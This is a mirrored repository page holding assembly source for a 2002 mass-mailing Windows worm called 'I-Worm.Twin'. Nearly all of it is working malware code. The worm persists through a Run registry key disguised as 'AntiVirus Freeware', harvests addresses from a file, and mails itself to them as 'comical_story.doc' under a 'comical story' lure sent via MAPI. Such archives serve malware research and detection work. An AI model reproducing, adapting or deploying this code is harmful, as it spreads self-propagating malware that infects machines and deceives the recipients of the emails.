mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
198 lines
2.6 KiB
NASM
198 lines
2.6 KiB
NASM
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comment #
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Name : I-Worm.Twin
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Author : PetiK
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Date : January 30th 2002 - February 1st 2002
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Size : 6656 bytes
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Action : See yourself. It's not complex.
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#
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.586p
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.model flat
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.code
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JUMPS
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api macro a
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extrn a:proc
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call a
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endm
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include useful.inc
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include myinclude.inc
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start: push 50
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mov esi,offset orig_worm
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push esi
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push 0
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api GetModuleFileNameA
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push 25
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push esi
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push 1
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@pushsz "AntiVirus Freeware"
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@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
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push 80000002h
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api SHSetValueA
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@pushsz "C:\twin.vbs"
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api DeleteFileA
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push 50
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push offset pathname
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api GetWindowsDirectoryA
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@pushsz "\NetInfo.doc"
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push offset pathname
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api lstrcat
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verif_inet:
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push 0
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push offset inet
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api InternetGetConnectedState
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dec eax
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jnz verif_inet
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push 0
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push 0
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push 3
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push 0
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push 1
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push 80000000h
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@pushsz "C:\backup.win"
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api CreateFileA
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inc eax
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je end_worm
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dec eax
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xchg ebx,eax
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push 0
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push 0
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push 0
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push 2
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push 0
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push ebx
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api CreateFileMappingA
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test eax,eax
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je end_w1
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xchg eax,ebp
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push 0
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push 0
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push 0
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push 4
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push ebp
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api MapViewOfFile
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test eax,eax
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je end_w2
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xchg eax,esi
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push 0
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push ebx
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api GetFileSize
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cmp eax,3
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jbe end_w3
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scan_mail:
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xor edx,edx
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mov edi,offset mail_addr
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push edi
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p_c: lodsb
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cmp al," "
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je car_s
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cmp al,0dh
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je entr1
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cmp al,0ah
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je entr2
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cmp al,"#"
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je f_mail
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cmp al,'@'
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jne not_a
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inc edx
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not_a: stosb
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jmp p_c
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car_s: inc esi
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jmp p_c
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entr1: xor al,al
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stosb
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pop edi
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test edx,edx
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je scan_mail
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call send_mail
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jmp scan_mail
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entr2: xor al,al
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stosb
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pop edi
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jmp scan_mail
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f_mail:
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end_w3: push esi
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api UnmapViewOfFile
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end_w2: push ebp
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api CloseHandle
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end_w1: push ebx
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api CloseHandle
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end_worm:
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push 0
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api ExitProcess
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send_mail:
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xor eax,eax
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push eax
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push eax
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push offset Message
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push eax
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push [sess]
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api MAPISendMail
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ret
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.data
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orig_worm db 50 dup (0)
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pathname db 50 dup (0)
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mail_addr db 128 dup (?)
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inet dd 0
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sess dd 0
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subject db "A comical story for you.",0
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body db "I send you a comical story found on the Net.",0dh,0ah,0dh,0ah
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db 9,"Best Regards. You friend.",0
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filename db "comical_story.doc",0
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Message dd ?
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dd offset subject
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dd offset body
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dd ?
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dd ?
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dd ?
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dd 2
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dd offset MsgFrom
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dd 1
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dd offset MsgTo
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dd 1
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dd offset Attach
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MsgFrom dd ?
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dd ?
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dd ?
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dd ?
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dd ?
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dd ?
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MsgTo dd ?
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dd 1
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dd offset mail_addr
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dd offset mail_addr
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dd ?
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dd ?
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Attach dd ?
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dd ?
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dd ?
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dd offset pathname
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dd offset filename
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dd ?
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end start
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end
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